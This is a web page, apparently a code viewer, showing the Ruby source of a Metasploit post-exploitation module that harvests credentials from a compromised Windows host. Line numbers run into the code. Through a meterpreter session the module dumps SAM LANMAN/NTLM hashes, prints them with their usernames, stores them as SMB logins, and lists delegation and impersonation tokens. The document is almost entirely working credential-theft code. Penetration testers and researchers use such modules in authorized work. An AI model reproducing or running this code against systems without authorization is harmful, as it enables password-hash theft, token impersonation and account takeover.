Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/credential_collector.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather Credential Collector',13'Description' => %q{ This module harvests credentials found on the host and stores them in the database.},14'License' => MSF_LICENSE,15'Author' => [ 'tebo[at]attackresearch.com'],16'Platform' => [ 'win' ],17'SessionTypes' => [ 'meterpreter'],18'Compat' => {19'Meterpreter' => {20'Commands' => %w[21incognito_list_tokens22priv_passwd_get_sam_hashes23]24}25}26)27)28end2930# Run Method for when run command is issued31def run32print_status("Running module against #{sysinfo['Computer']}")33# Collect even without a database to store them.34if session.framework.db.active35db_ok = true36else37db_ok = false38end3940# Make sure we're rockin Priv and Incognito41session.core.use('priv') if !session.priv42session.core.use('incognito') if !session.incognito4344# It wasn't me mom! Stinko did it!45begin46hashes = client.priv.sam_hashes47rescue StandardError48print_error('Error accessing hashes, did you migrate to a process that matched the target\'s architecture?')49return50end5152# Target infos for the db record53addr = session.session_host54# client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive)5556# Record hashes to the running db instance57print_good 'Collecting hashes...'5859hashes.each do |hash|60# Build service information61service_data = {62address: addr,63port: 445,64service_name: 'smb',65protocol: 'tcp'66}6768# Build credential information69credential_data = {70origin_type: :session,71session_id: session_db_id,72post_reference_name: refname,73private_type: :ntlm_hash,74private_data: hash.lanman + ':' + hash.ntlm,75username: hash.user_name,76workspace_id: myworkspace_id77}7879credential_data.merge!(service_data)80credential_core = create_credential(credential_data)8182# Assemble the options hash for creating the Metasploit::Credential::Login object83login_data = {84core: credential_core,85status: Metasploit::Model::Login::Status::UNTRIED,86workspace_id: myworkspace_id87}8889login_data.merge!(service_data)90create_credential_login(login_data)9192print_line " Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}"93end9495# Record user tokens96tokens = session.incognito.incognito_list_tokens(0)97raise Rex::Script::Completed if !tokens9899# Meh, tokens come to us as a formatted string100print_good 'Collecting tokens...'101(tokens['delegation'] + tokens['impersonation']).split("\n").each do |token|102data = {}103data[:host] = addr104data[:type] = 'smb_token'105data[:data] = token106data[:update] = :unique_data107108print_line " #{data[:data]}"109report_note(data) if db_ok110end111end112end113114115